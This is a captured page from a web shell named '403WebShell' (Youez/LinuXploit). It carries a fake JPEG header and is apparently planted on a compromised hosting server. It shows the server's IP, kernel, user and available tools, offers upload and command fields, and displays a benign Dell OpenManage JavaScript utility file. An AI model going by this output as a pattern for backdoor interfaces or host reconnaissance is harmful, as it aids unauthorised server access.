����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.139.238.74
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/dell/srvadmin/lib64/openmanage/apache-tomcat/webapps/omsa/oma/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/dell/srvadmin/lib64/openmanage/apache-tomcat/webapps/omsa/oma/js/UtilPM.js
//-------------------------------------------------------------------------
//
//          DELL INC. PROPRIETARY INFORMATION
//
//  This software is supplied under the terms of a license agreement or
//  nondisclosure agreement with Dell Computer Corporation and may not
//  be copied or disclosed except in accordance with the terms of that
//  agreement.
//
//  Copyright (c) 1995-2008 Dell Inc. All Rights Reserved.
// 
//  Abstract/Purpose:
//	Common Utility functions
//
//  Environment:
//    Windows, Linux
//
//  Created/Version:
//    2008 Jan 10 / $Revision: $
//
//  Author:
//   Mahaveer M
//
//  Last Modified By/On:
//    $Author: $ / $Date: $
//
//-------------------------------------------------------------------------

// NOTE : ENSURE FILE SIZE IS NOT LARGE TO AVOID ANY PERFORMANCE ISSUES
var g_WattBTUConversion=3.413;

// convert Watt to BTU/hr
function convertFromWattToBTUhr(wattValue)
{
    var btuVal = Math.round(wattValue * g_WattBTUConversion);
    return btuVal;
}

// convert BTU/hr to Watt
function convertFromBTUhrToWatt(btuhrValue)
{
    var wattVal = Math.round(btuhrValue / g_WattBTUConversion);
    return wattVal;
}

// checks if the value is a non-number and remove it
function validateAndAllowNumbers(component)
{
    var value = component.value;
    for (var i = 0; i < value.length; i++)
    {
      var testChar = value.charAt(i);
      if ( isNaN(testChar) == true)
      {
        var valueArray = value.split(value.charAt(i));
        document.getElementById(component.name).value = valueArray[0].concat(valueArray[1]);
        return;
      }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit